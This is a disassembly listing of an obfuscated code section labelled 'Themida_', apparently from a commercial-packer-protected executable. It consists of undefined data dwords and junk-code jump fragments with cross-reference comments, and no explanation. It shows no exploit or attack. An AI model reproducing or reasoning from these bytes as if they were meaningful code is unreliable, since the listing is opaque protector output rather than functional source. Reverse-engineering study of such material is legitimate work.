0D3E96A0Ch dd 0E9000048h, 0FFFFEB2Dh, 0CF005866h, 83240C8Bh, 0F83004C4h dd 5B2434FFh, 4C481h, 68660000h, 896651BBh, 0E9532414h dd 9180h, 0BB241C89h, 100h, 8841E9h, 24048100h, 4, 0BE565759h dd 4A770C0Eh, 770C12BFh, 5EF7294Ah, 565FF901h, 0B42866BEh dd 62BD5566h, 2966B428h, 0BAE95DEEh, 68000084h, 74E7h dd 0E9241C89h, 2B73h, 0E9240C89h, 84Ch, 4E26E953h, 0E9520000h dd 0A583h, 5C5E95Dh, 0C1810000h, 4, 5C240C87h, 0E9C0B60Fh dd 97BAh, 5E08950h, 4, 4BD55h, 0E8010000h, 0F3A2E95Dh dd 2C81FFFFh, 0AA271F24h, 0EFF9E925h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547B62: ; CODE XREF: Themida_:00548E51j add ebx, 4 xor ebx, [esp] jmp loc_549378 ; --------------------------------------------------------------------------- dd 7349E181h, 4AE94211h, 8100005Fh, 4C4h, 4E5FE900h, 685B0000h dd 2A0Ch, 0B8240489h, 4, 3358C601h, 34312434h, 61DCE924h dd 4280000h, 2AE99C24h, 8BFFFFEAh, 38E92424h db 0A2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547BB3: ; CODE XREF: Themida_:0054F5AEj or eax, 0BA00FC7h jmp loc_552685 ; --------------------------------------------------------------------------- loc_547BBD: ; CODE XREF: Themida_:0054F1C7j pop esp or edx, eax shl edx, 1 jmp loc_54FE49 ; --------------------------------------------------------------------------- db 40h dd 3D739F05h, 471B352Dh, 51E9EA42h, 68000031h, 1BA33514h dd 6CF5E9h, 25EB8000h, 1DDAE9h, 4C48100h, 56000000h, 156200BEh dd 4DEE811Ch, 0C13CF314h, 0F68105E6h, 0DA068552h, 315EF289h dd 0E9555DEAh, 0B44h, 0E9243C33h, 5632h, 42Dh, 24048700h dd 242C895Ch, 42474FFh, 24048F5Dh, 0FFFF7AE9h, 77D5BEFFh dd 0DCE90C1Fh, 5B000045h, 1DC9E9h, 0E95B5800h, 9274h, 0E0BD555Ah dd 1DE9659h, 99E5E9E9h, 86590000h, 86DDF6ECh, 0A672E9ECh dd 34FF0000h, 241C8B24h, 2101E9h db 0 ; --------------------------------------------------------------------------- loc_547C6D: ; CODE XREF: Themida_:00550062j add esp, 4 not edi push ebp jmp loc_54D9E8 ; --------------------------------------------------------------------------- loc_547C78: ; CODE XREF: Themida_:00551ABAj mov [esp], edi push 0B944CFCh pop edi mov eax, edi pop edi push edi jmp loc_54DBDF ; --------------------------------------------------------------------------- dw 0B850h dd 1F8A1296h, 69C7EB81h, 0EB81051Ch, 64CB0089h, 1E1DEB81h dd 0C32966EDh, 1E1DC381h, 0BF5766EDh, 64CB0089h, 0B9E9FB01h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_547CB7: ; CODE XREF: Themida_:00552328j add esi, edi jmp loc_5468E1 ; --------------------------------------------------------------------------- dw 30ACh dd 99B151D8h, 0E1D0C9FEh, 848FE9h, 4C78100h, 81000000h dd 4C7h, 243C8700h, 4EDAE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_547CE2: ; CODE XREF: Themida_:005499FEj neg esi inc esi push ecx jmp loc_54DFFF ; --------------------------------------------------------------------------- aXsQ db 'яЕИ]Q',0 align 2 dw 15Eh dd 175FE9F8h, 74FF0000h, 8F5A0424h, 585C2404h, 1C8BD830h dd 0EB63E924h, 1C87FFFFh, 738E924h, 0FF5F0000h, 0E8B7E930h dd 575DFFFFh, 0B44895BFh, 56535648h, 0D01F27BEh, 3E2EBB42h dd 0F3316184h, 0A18FBE5Eh, 0DE01D006h, 7AEF815Bh, 81702622h dd 0DD4264C7h, 81F7013Bh, 0DD4264EFh, 7AC7813Bh, 5E702622h dd 0B7E9FE01h, 59000076h, 42715F25h, 10E3525h, 0EEE92502h dd 89000049h, 0DDE95DE9h, 0E9FFFFEEh, 0FFFFE859h ; --------------------------------------------------------------------------- loc_547D7C: ; CODE XREF: Themida_:0054AEBFj add esp, 4 jmp loc_5465D5 ; --------------------------------------------------------------------------- db 59h dd 80B15152h, 0CA3069B2h, 0DAF28059h, 0EA80DAF6h, 5AD32836h dd 2815C380h, 0E9B652C3h, 0E9FFC680h, 3406h, 242CD366h dd 0E81FE99Ch, 1489FFFFh, 9264E924h, 0E1C10000h, 6387E903h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547DC6: ; CODE XREF: Themida_:0054C02Fj mov ebp, [esp] add esp, 4 push 52AFh mov [esp], eax mov edi, [esp] add esp, 4 push dword ptr [esp] pop eax add esp, 4 jmp loc_54E2B5 ; --------------------------------------------------------------------------- dd 8C38158h, 816FD408h, 7733AEC3h, 81C3017Eh, 7733AEEBh dd 8EB817Eh, 0E96FD408h, 5357h ; --------------------------------------------------------------------------- loc_547E0C: ; CODE XREF: Themida_:0055112Bj push 5B2E1ECCh pop eax jmp loc_54C026 ; --------------------------------------------------------------------------- loc_547E17: ; CODE XREF: Themida_:00551A6Fj and eax, edi mov edi, [esp] push 6A08h jmp loc_54F81C ; --------------------------------------------------------------------------- aAczqsg db '[─Г╖QИG',1Bh,0 align 10h dd 3304C383h, 1C31241Ch, 1EB8E924h, 50520000h, 0E688CC88h dd 9590E958h, 0F8010000h, 545CD12Dh, 0BB535F05h, 2, 6FE9D801h dd 400007Eh, 8C0BE923h, 5AD0000h, 6EA751A5h, 0D6435F05h dd 60610566h, 0D8295A83h, 8360612Dh, 4EC835Ah, 0E9241C89h dd 0FFFFE93Bh ; --------------------------------------------------------------------------- loc_547E88: ; CODE XREF: Themida_:0054ADC8j pop ecx pop edx push ecx push esi mov esi, 46113338h push edi push ebp jmp loc_549079 ; --------------------------------------------------------------------------- dd 11A2BF57h, 0EF8150ABh, 50AB11A0h, 2764E9h, 9AEF8100h dd 8152192Ah, 6F34ADEFh, 24148B31h, 4C481h, 0B8500000h dd 4, 0E958C729h, 82EEh, 4C381h, 0E9500000h, 548h, 5E2434FFh dd 575E5456h, 4BFh, 51C68100h, 13C8605h, 0E2BA52FEh, 0C16D8655h dd 814A03EAh, 36CFEAF2h, 0E9D62931h, 8117h, 392B2D59h dd 0C80104EAh, 2816E9h, 240C3300h, 2BF4E9h, 24348B00h dd 815F5457h, 4C7h, 5B436800h, 34890000h, 4BE24h, 0F7010000h dd 243C335Eh, 33243C31h, 95C243Ch, 3811E9C0h, 0E95F0000h dd 6D35h, 5A2434FFh, 2BDB68h, 242C8900h, 0C581E589h, 4 dd 4C581h, 2C870000h, 24248B24h, 0A224E9h, 0E9D82900h dd 3211h, 0FE7AB753h, 9BE780C7h, 6043E9h, 4EEA8000h, 0AC280h dd 34FF5AD0h, 0C4815924h, 4, 834CE9h, 8AC78100h, 0C12E6C79h dd 9CE907EFh, 0BF00005Dh, 5F41337Ch, 3371E9h db 0 ; --------------------------------------------------------------------------- loc_547FB5: ; CODE XREF: Themida_:0054EFB5j and eax, edi mov edi, [esp] sub esp, 4 jmp loc_552109 ; --------------------------------------------------------------------------- aZsu db 'ZИН<',0 align 4 dd 582434FFh, 9432E952h, 0C6800000h, 3EB05000h, 0E958C620h dd 9C2Ch, 1685F54h, 89000055h, 2EE9241Ch db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547FEF: ; CODE XREF: Themida_:0054D840j add [eax], ebx pop eax pop ebx jmp loc_552610 ; --------------------------------------------------------------------------- dd 5E2414F7h, 9F50E9h db 0 ; --------------------------------------------------------------------------- loc_548001: ; CODE XREF: Themida_:0054F4EEj mov esi, esp push edi mov edi, 293B4863h push 0 sub [esp], edi pop edi jmp loc_54AEAE ; --------------------------------------------------------------------------- loc_548017: ; CODE XREF: Themida_:0054FE9Fj add esp, 4 add edx, ebp jmp loc_54847F ; --------------------------------------------------------------------------- loc_548021: ; CODE XREF: Themida_:00550D08j add ebp, 49120BD7h pop edx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], edx jmp loc_54CF33 ; --------------------------------------------------------------------------- dw 1489h dd 88D2B224h, 0CE885AD1h, 0FFF78859h, 0E95A2434h, 15ADh dd 0E9240C89h, 0FFFFE57Dh, 4BDh, 0F414E900h, 0DEF7FFFFh dd 27E9DEF7h, 89000058h, 0BA2414h, 81000000h, 526E6DEAh dd 55DA0131h, 0C008BEBDh, 51ED810Ch, 1DB6D9Ah, 3AE95DEAh dd 8BFFFFE9h, 0C481240Ch, 4, 8E44E9h, 4C58100h, 53000000h dd 2BBh, 0E9DD0100h, 136Fh, 31242C33h, 2C33242Ch, 51CEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5480BE: ; CODE XREF: Themida_:0054C3F6j pop ebx xor ecx, edx jmp loc_54F457 ; --------------------------------------------------------------------------- dw 0EC83h dd 2134E904h, 0C5010000h, 81C50158h, 0E56DC4EDh, 0F5C5814Ah dd 8169695Dh, 8144C8C5h, 6400E914h, 8B590000h, 0BBE92414h dd 56FFFFEBh, 353DD9BEh, 7C24E936h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5480FE: ; CODE XREF: Themida_:005482AEj and eax, edi mov edi, [esp] push ecx mov ecx, esp add ecx, 4 push esi mov esi, 4 add ecx, esi pop esi xchg ecx, [esp] pop esp shr eax, 0Bh xor ecx, eax push 7487h mov [esp], ebx sub esp, 4 mov [esp], eax push esi jmp loc_549B2D ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 2434FF04h, 0FFE901E9h, 3EEF80FFh, 5106E7C0h, 0C4E958B1h dd 31000098h, 0EE815DE9h, 76116BECh, 0C681CE01h, 76116BECh dd 2BB5359h, 0E9000000h, 6A9Eh, 0D1E3ABAh, 6FF28115h, 894F9504h dd 1709E9D3h, 7EB90000h, 13A6614h, 15A59C8h, 263368D8h dd 3C890000h, 7ACBBF24h, 0E78144DFh, 455604CBh, 0EFD1DFF7h dd 0E953D7F7h, 732Bh, 0EF815F5Eh, 450315Fh, 0E951CF01h dd 7EF9h, 0C581E589h, 4, 4ED81h, 2C870000h, 6FE95C24h dd 5E00000Bh, 9EEFE9h, 34316600h, 2C0CE924h, 74FF0000h dd 8F5A0424h, 30E92404h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5481EB: ; CODE XREF: Themida_:0054DB26j add esp, 4 jmp loc_5498AA ; --------------------------------------------------------------------------- dw 74FFh dd 148B0424h, 4C48124h, 8F000000h, 0E95C2404h, 65F1h, 4C481h dd 53E90000h, 6800009Dh, 2344h, 68243489h, 1, 0FF2434FFh dd 0CFE92434h, 0FF00000Dh, 0C8B2434h, 4C48324h, 4C481h dd 5DB20000h, 43F1E9h, 48B6600h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push 20E4h mov [esp], edx jmp loc_547182 ; --------------------------------------------------------------------------- db 85h dd 6EE99CC8h, 8BFFFFE3h, 0C4812434h, 4, 31240C33h, 0C33240Ch dd 24248B24h, 8B2434FFh, 89562414h, 0D2E952E6h, 5F000092h dd 0E9241C87h, 1D8h, 79CDC381h, 0E95A289Eh, 9B9Bh, 0C781E789h dd 4, 7DE5E9h db 0 ; --------------------------------------------------------------------------- loc_5482AD: ; CODE XREF: Themida_:0054FAEFj pop esi jmp loc_5480FE ; --------------------------------------------------------------------------- db 87h dd 685C241Ch, 6D51h, 0E9241489h, 6B3Fh, 0FFE30CE9h, 24248BFFh dd 24048966h, 2FC6E9h, 0C6EB8100h, 6833D473h, 54CEh, 0B9240C89h dd 7C3A5C39h, 0E942D187h, 8CE9h, 5C240C33h, 0E9241489h dd 0A4BBh, 0EB81C329h, 2E97301Fh, 74BD5551h, 814C6577h dd 0A251E5E5h, 0DCD816Ah, 8124231Eh, 1432CDEDh, 6AB4E941h dd 0E9510000h, 1370h, 0BCE9F301h db 70h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54832F: ; CODE XREF: Themida_:0054E708j push eax push 30372138h mov eax, [esp] add esp, 4 or eax, 27564A8Fh jmp loc_551D26 ; --------------------------------------------------------------------------- db 5Fh, 55h, 0BDh dd 3DFF765Fh, 0FFFDFEE9h, 3CD366FFh, 7AE99C24h, 30FFFFE2h dd 0F0305BFEh, 0E924148Bh, 56A2h, 0F82CE4B9h, 1CC3E935h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548372: ; CODE XREF: Themida_:0054AB73j add edx, 0B19CD646h jmp loc_54BC03 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 42474FFh, 8124148Bh, 4C4h, 24048F00h, 0FE24248Bh, 0E99C240Ch dd 0FFFFE239h, 69E9525Bh, 8900007Ah, 4C381E3h, 81000000h dd 4C3h, 241C8700h, 24348B5Ch, 6804C483h, 3349h, 0FFF707E9h dd 815D58FFh, 167BC4EEh, 88EE813Bh, 17BE663h, 5216E9C6h dd 0C6810000h, 4, 5852E9h, 2D49BE00h, 0DEF7070Dh, 0AF7FF681h dd 0F3899687h, 5BD8295Eh, 0E8C1D8F7h, 0E74B0508h, 0C701485Eh dd 50CF0158h, 7B0BE9h, 1DE95D00h, 0D100009Eh, 0D6850E9h dd 0E93DFA25h, 6498h, 4B8h, 0E9C30100h, 0A2Ah ; --------------------------------------------------------------------------- loc_54842C: ; CODE XREF: Themida_:0054D4FDj push ebp jmp loc_54A2EE ; --------------------------------------------------------------------------- dw 34FFh dd 0F1FBE924h, 8358FFFFh, 1C8904ECh, 0E9E38924h, 87A0h ; --------------------------------------------------------------------------- loc_548448: ; CODE XREF: Themida_:00547519j push eax jmp loc_54D12B ; --------------------------------------------------------------------------- dw 665Ch dd 6624048Fh, 6656665Eh, 22474FFh, 24348B66h, 6602C483h dd 0E924048Fh, 0FFFFE169h, 2047C75Ch, 639142E3h, 30EBBD55h dd 0B4E953B7h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54847F: ; CODE XREF: Themida_:0054801Cj mov ebp, [esp] add esp, 4 sub edx, 39430466h jmp loc_54B65D ; --------------------------------------------------------------------------- loc_548493: ; CODE XREF: Themida_:0054AC9Fj mov eax, esp add eax, 4 push edx push esi mov esi, 4 mov edx, esi pop esi sub eax, edx jmp loc_5518C6 ; --------------------------------------------------------------------------- db 5Fh dd 4C781h, 65680000h, 89000032h, 0BBD242Ch, 8111B435h dd 0B43509EDh, 119A6811h, 14890000h, 57C8BA24h, 80E91C3Fh dd 0B900006Ah, 5F2055DAh, 4244C31h, 0FEB6E959h, 5B59FFFFh dd 2434FF59h, 4C4835Bh, 8B66F030h, 0E92414h, 89000077h dd 68502414h, 7E9Bh, 0B7241C89h, 436B0ECh, 1573E95Ah, 8B660000h dd 0C568240Ch, 89000074h, 8E68240Ch, 8900005Bh, 9DE92424h dd 5D000024h, 8955E9h, 0D6B95100h, 533D3160h, 0F64B45BBh dd 8BD93152h, 0A3E9241Ch, 29000010h, 491805D0h, 0DCE94885h dd 48000054h, 7B23BF57h, 0F831187Eh, 6D2055Fh, 0DE2D70FAh dd 8977AC85h, 2434FFC6h, 5124048Bh, 0C181E189h, 4, 8704C183h dd 0E95C240Ch, 5B7Bh, 0E953D1F7h, 3478h, 4132D5B9h, 85D4BB73h dd 0CB01A575h, 0DBBE5659h, 0F762830Eh, 9AC681D6h, 2DDE8D71h dd 4CE87218h, 1805F029h, 0E94CE872h, 7113h ; --------------------------------------------------------------------------- loc_5485B8: ; CODE XREF: Themida_:00548FF9j push ebx mov ebx, 26FC24B8h or ebx, 75034A08h sub ebx, 32603F1h dec ebx jmp loc_54B062 ; --------------------------------------------------------------------------- dd 4246C29h, 0C5815D5Dh, 386461F2h, 44DA68h, 241C8900h dd 0D8895B55h, 3383E9h, 0E953AC00h, 2AD3h, 70AC685Ah, 1C890000h dd 1141BB24h, 0DA017D7Ah, 57241C8Bh, 411EE9h db 0 ; --------------------------------------------------------------------------- loc_54860D: ; CODE XREF: Themida_:00550E50j push 94D47B1h pop edx push eax jmp loc_54944A ; --------------------------------------------------------------------------- db 0B9h, 3Ah, 24h dd 0E9C13827h, 83A1E903h, 77FF0000h, 2434FF3Ch, 582434FFh dd 4C481h, 89560000h, 7A9168E6h, 1C890000h, 6454BB24h dd 0F38121D4h, 21D46450h, 7FD5BA52h, 0D6012755h, 34E8E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54865A: ; CODE XREF: Themida_:005504A9j mov ebx, ecx pop ecx jmp loc_54C317 ; --------------------------------------------------------------------------- dw 0E951h dd 167Ch, 1302F0B8h, 0BE054059h, 2D0E8303h, 12716623h dd 24699005h, 58C589F7h, 31B8B951h, 0E9497653h, 0FFFFEA0Eh dd 240C8B66h, 539068h, 24148900h, 4DCAE9h, 24348B00h, 4C481h dd 0C6810000h, 4, 6804C683h, 6B61h, 0FF243489h, 8B042474h dd 0FDE92434h db 68h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5486C3: ; CODE XREF: Themida_:0054C71Aj pop ecx add [esp+4], ebp sub dword ptr [esp+4], 133469E2h push edi mov edi, 5E6D48BEh sub [esp+8], edi pop edi mov ebp, [esp] add esp, 4 jmp loc_54FA0A ; --------------------------------------------------------------------------- dw 0BD55h dd 2, 674DE9h db 0 ; --------------------------------------------------------------------------- loc_5486F1: ; CODE XREF: Themida_:00549454j sub eax, 14055352h push esi mov esi, 1 sub eax, 462B440Dh add eax, esi add eax, 462B440Dh jmp loc_54D470 ; --------------------------------------------------------------------------- loc_54870D: ; CODE XREF: Themida_:0054FEC0j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax push esp pop eax jmp loc_54DE96 ; --------------------------------------------------------------------------- db 81h, 0E7h, 4Ch dd 50391152h, 0B47DB3B8h, 58C7097Ah, 7F05F781h, 0F8897BB5h dd 83243C8Bh, 472104C4h, 24048B1Ch, 0E904C483h, 7AD3h dd 9A2AF6BDh, 0B3CD8149h, 8164E16Fh, 1B52F8EDh, 39610521h dd 0E8015B6Ah, 6A39612Dh, 9BE95D5Bh db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_548777: ; CODE XREF: Themida_:0054AEAFj mov eax, 0D6C4B799h jmp loc_54B708 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 6624248Bh, 0E924048Bh, 0FFFFEDE0h, 81D3F759h, 0A8545DE3h dd 415FE90Eh, 34FF0000h, 54575B24h, 3ABA525Fh, 0F774981Bh dd 3FC281D2h, 174981Bh, 0C7815AD7h, 4, 8B243C87h db 2 dup(24h) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54A24F ; --------------------------------------------------------------------------- loc_5487D0: ; CODE XREF: Themida_:0054BDF5j mov ah, 54h jmp loc_54D9FD ; --------------------------------------------------------------------------- db 0BEh dd 4, 815EF301h, 4EBh, 74FF5300h, 8F5B0424h, 0E95C2404h dd 0FFFFF083h, 83242489h, 5E042404h, 7C24E9h, 97E94E00h db 8Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_548807: ; CODE XREF: Themida_:0054D692j push ebx mov ebx, 2B327F1Ah push eax mov eax, 2D64BDCh mov ecx, eax pop eax xor ecx, ebx mov ebx, [esp] add esp, 4 jmp loc_54F8B5 ; --------------------------------------------------------------------------- dw 0BB53h dd 120007Eh, 4FE9D929h, 5D000007h, 315EF001h, 68FBE9C3h dd 0C4810000h, 4, 4EC81h, 4890000h, 4B824h, 0C1010000h dd 0E92434FFh, 1988h, 0D5468h, 24148900h, 8850FA88h, 58C588D0h dd 0FFED45E9h db 0FFh ; --------------------------------------------------------------------------- loc_548871: ; CODE XREF: Themida_:0054C8B7j push 3806h jmp loc_54F544 ; --------------------------------------------------------------------------- db 5Ch dd 8B24048Fh, 4EE92424h, 54FFFFDDh, 83241C8Bh, 0C38104C4h dd 4, 4C381h, 1C330000h, 8C5EE924h, 8B660000h, 3968240Ch dd 89000051h, 0B768241Ch, 8900006Ah, 4812424h, 424h, 241C8B00h dd 4C481h, 0C3810000h, 4, 0B685556h, 5D77797Dh, 82F7C581h dd 81558886h, 6C9D242Ch, 815E45C7h, 0C76C9DC6h, 0F3015D45h dd 0E924348Bh, 4207h, 4EC815Eh, 89000000h, 0AFE92434h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548903: ; CODE XREF: Themida_:0054B16Ej sub dword ptr [edi+20h], 470E372Dh dec dword ptr [edi+20h] jmp loc_54A23C ; --------------------------------------------------------------------------- dw 5251h dd 0B35309B2h, 54F38088h, 88D88850h, 91E958C5h, 4300000Dh dd 8904EC83h, 75B9240Ch, 0E931D80Ah, 9A10h ; --------------------------------------------------------------------------- loc_548938: ; CODE XREF: Themida_:0054B944j sub ebx, 4D68710Dh pop ecx xchg ebx, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 4000h and eax, ebp push dword ptr [esp] jmp loc_5490E0 ; --------------------------------------------------------------------------- db 66h dd 66240C89h, 66C8B60Fh, 6EE99C51h, 56FFFFDCh, 7E49B068h dd 0E6815E04h, 441B51D2h, 11D5E9h, 24148B00h, 47D2E9h db 0 ; --------------------------------------------------------------------------- loc_548981: ; CODE XREF: Themida_:005465DFj mov [esp], bx jmp loc_54E83F ; --------------------------------------------------------------------------- dw 0E980h dd 2E9C02Dh, 0C088E980h, 0F18004E1h, 8CBDE9C1h, 2D580000h dd 1FAC7A42h, 2958C289h, 8BD187CAh, 0BAE92414h, 8000006Dh dd 0EC8187C3h, 4, 0B6241489h, 5AF32819h, 6166E9h, 3EE8100h dd 141D000h, 3C681EEh, 0E941D000h, 26A2h, 6269C781h, 0D7F71C20h dd 0F86BF781h, 0F9017A17h, 83243C8Bh, 91E904C4h, 8900003Dh dd 2BE2434h, 81000000h, 0DB1A28EDh, 0B8C58169h, 8106F202h dd 8717B5EDh, 81F5014Fh, 8717B5C5h, 0B8ED814Fh, 5006F202h dd 740CBA52h, 0EA81363Eh, 7136D4Eh, 69C28142h, 893AB013h dd 0C5015AD0h, 2C335E58h, 242C3124h, 2F1E9h, 48B6600h dd 46E66824h, 0E1E90000h, 81000021h, 0AB540CE2h, 0FCEA817Eh dd 150284Fh, 5EA1E9D1h, 8B660000h, 0E953240Ch, 4D0Bh, 4B3BE95Fh dd 4890000h, 506DE924h, 0BE560000h, 3782446h, 0EEC1D6F7h dd 6E6C106h, 0E902E6C1h, 0FFFFE098h, 148B665Ch, 4EC8324h dd 54241489h, 0FFEF30E9h db 0FFh ; --------------------------------------------------------------------------- loc_548AA5: ; CODE XREF: Themida_:0054B304j push esp jmp loc_54D71F ; --------------------------------------------------------------------------- db 2Ch dd 2EC814Ah, 66000000h, 0E9240C89h, 306Eh, 8105EFC1h, 915D21C7h dd 0ED37E91Dh, 48BFFFFh, 4C48324h, 6804C483h, 39FEh, 68240C89h dd 41DEh, 0BA241489h, 628C1065h, 76F86856h, 815E4865h dd 0FD9D8BC6h, 5EF189BBh, 4B73E9h, 5BD90100h, 8658E9h dd 55E95100h, 6800002Dh, 23CB1526h, 91C18159h, 0E927D74Dh dd 86F4h ; --------------------------------------------------------------------------- loc_548B1C: ; CODE XREF: Themida_:00550324j mov ecx, 604F73B3h jmp loc_54E1C3 ; --------------------------------------------------------------------------- loc_548B26: ; CODE XREF: Themida_:0054AA4Ej add ecx, 4 jmp loc_54CB75 ; --------------------------------------------------------------------------- db 0F6h, 1Ch, 24h dd 0DA9BE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548B3A: ; CODE XREF: Themida_:0054B2D0j mov edi, [esp] add esp, 4 mov eax, [esp] push ebp jmp loc_550041 ; --------------------------------------------------------------------------- dd 835BDA01h, 148704C2h, 45E95C24h, 8100004Dh, 4C1h, 74FF5100h dd 8F590424h, 535C2404h, 0BF57E389h, 10F45DD7h, 5DD3EF81h dd 0E95110F4h, 8D68h, 0E95EB652h, 537Dh, 5DB920BAh, 5DEA012Eh dd 4557CA81h, 0C2816BAEh, 0F370DDFBh, 12E9D331h, 5F00001Ch dd 6849CF81h, 19E94577h, 8B000007h, 8951243Ch, 4BD55E1h dd 1000000h, 0C1835DE9h, 240C8704h, 75E0E95Ch, 0D0290000h dd 0E924148Bh, 6323h ; --------------------------------------------------------------------------- loc_548BD4: ; CODE XREF: Themida_:005515FFj mov eax, [esp] add esp, 4 push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_547292 ; --------------------------------------------------------------------------- loc_548BEB: ; CODE XREF: Themida_:0055271Bj shr edx, 5 sub edx, 2EDF0C7Ah and edx, 44824E8Ch xor edx, 49C14FE7h sub ebx, edx jmp loc_54D397 ; --------------------------------------------------------------------------- db 0C1h dd 0C18108E9h, 7F9B2A6Eh, 5C45BE56h, 0E6812ACCh, 71E948EAh dd 3EEC146h, 59ECC681h, 0F681333Ah, 515B0067h, 0F75EF109h dd 7398E9D1h, 4890000h, 4B824h, 0C6010000h, 2BF5758h, 0E9000000h dd 0FFFFEDF9h, 24148B66h, 417CE9h, 0C1C68100h, 0E9A6F7F6h dd 752Eh, 242C895Ch, 1C5CE9h db 0 ; --------------------------------------------------------------------------- loc_548C69: ; CODE XREF: Themida_:00551D4Aj xor esi, [esp] jmp loc_54B1D3 ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 90h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_548C77: ; CODE XREF: Themida_:00551FF7j neg ecx or ecx, 14C112E7h sub ecx, 423B95E8h mov ebx, ecx jmp loc_550A45 ; --------------------------------------------------------------------------- loc_548C8C: ; CODE XREF: Themida_:0054C758j sub dword ptr [esp+4], 571E5D22h mov ebx, [esp] add esp, 4 pop dword ptr [edi+24h] loc_548CA0: ; CODE XREF: Themida_:005517F2j push 4564h mov [esp], ebx push dword ptr [esp] jmp loc_550E55 ; --------------------------------------------------------------------------- dd 42474FFh, 24048F5Ah, 8324248Bh, 0A30F04C4h, 0E99C2404h dd 0FFFFD90Dh, 33241C31h, 0E3E9241Ch db 47h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548CD3: ; CODE XREF: Themida_:005494EBj push ecx mov ecx, 0B1A21B0Dh sub edx, ecx pop ecx mov esi, edx jmp loc_54D63A ; --------------------------------------------------------------------------- db 8Bh dd 59E9241Ch db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_548CEB: ; CODE XREF: Themida_:00546839j add esp, 4 sub edi, 3B66130Fh sub eax, edi pop edi push ecx push 17ACh mov [esp], ebx push 139Ah mov [esp], ecx mov ecx, 1443491Ah xor ecx, 42CE4C42h push ecx sub dword ptr [esp], 5F146A97h jmp loc_54A4E7 ; --------------------------------------------------------------------------- db 80h dd 0ECC0F9ECh, 80CCFE04h, 0E5883EC4h, 4044E958h, 2C330000h dd 181EE924h, 14890000h, 3CE95424h, 81000003h, 4C6h, 4C68100h dd 87000000h, 0CFE92434h db 88h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548D5B: ; CODE XREF: Themida_:00550257j xchg ebp, [esp] pop esp sub esp, 4 mov [esp], eax jmp loc_54AD94 ; --------------------------------------------------------------------------- aSfb db ')жИFb',0 align 4 dd 3705C681h, 0EE015068h, 3705EE81h, 2C8B5068h, 0E71AE924h dd 0B850FFFFh, 3EE56E0h, 36BA52h, 0C28157E5h, 0F3CAA69h dd 0E95AD001h, 69EDh, 0A530E981h, 0CA29D47Fh, 4EC8159h dd 89000000h, 0C168240Ch, 5949D548h, 0C8BCA01h, 4C48324h dd 0FFD80CE9h, 5EF001FFh, 2BA525Ah, 0E9000000h, 3E5Eh dd 4C4815Bh, 0E9000000h, 51CFh, 240C8B66h, 60668h, 240C8900h dd 0BF57E189h, 432F0186h, 8108EFC1h, 847627C7h, 0D5E94F69h dd 83FFFFFBh, 348704C6h, 0B60F5C24h, 3E0968C8h, 0C890000h dd 0D7B7E924h, 59B9FFFFh, 14F7B51h, 0E140E9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548E2A: ; CODE XREF: Themida_:0054E0ECj add ebx, 4 sub ebx, 4 jmp loc_5514F1 ; --------------------------------------------------------------------------- loc_548E3B: ; CODE XREF: Themida_:0054A1C1j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add ebx, 4 jmp loc_547B62 ; --------------------------------------------------------------------------- dw 8758h dd 0DBE9241Ch, 5B00004Fh, 0C5815D58h, 4, 9170E9h db 0 ; --------------------------------------------------------------------------- loc_548E6D: ; CODE XREF: Themida_:0054C410j push ecx mov ecx, 18BE63D7h and ecx, 615C0EE9h not ecx xor ecx, 0FFE3FD3Ah jmp loc_54BAFB ; --------------------------------------------------------------------------- loc_548E86: ; CODE XREF: Themida_:0054EE88j push esp jmp loc_54CB16 ; --------------------------------------------------------------------------- dd 2376C581h, 0C5811023h, 0E16765Eh, 0ED81FD01h, 0E16765Eh dd 686CE9h, 1C77FF00h, 0D359669Dh, 0E99C241Ch, 0FFFFD721h dd 5EDCBD55h, 0EE292B2Eh, 5EF5895Dh, 0FF1C6F09h, 2C8B2434h dd 4E95024h, 5100003Ah, 42356850h, 25586244h, 1A6D6376h dd 3502E0C1h, 91108D4h, 158C189h, 240C8BCBh, 5004C483h dd 4B8h, 8BC30100h, 0C0E92404h, 29000048h, 0D5EB81C3h dd 0E914DA40h, 9675h ; --------------------------------------------------------------------------- loc_548F0C: ; CODE XREF: Themida_:0054F17Aj sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push esi mov esi, 9140CDDh or esi, 0D1A3AC4h push edi mov edi, 24FA48CDh add edi, 1 jmp loc_5498F1 ; --------------------------------------------------------------------------- dw 0DEF7h dd offset dword_4DB370+79h dd 0C4815800h, 4, 3E311F35h, 1DB23535h, 40352C75h, 2932C85Ch dd 0EE92E9C3h, 405FFFFh, 0E9000000h, 157Bh, 0EC81E389h dd 4, 0BA241489h, 142642BDh, 7E3BE955h, 0EB800000h, 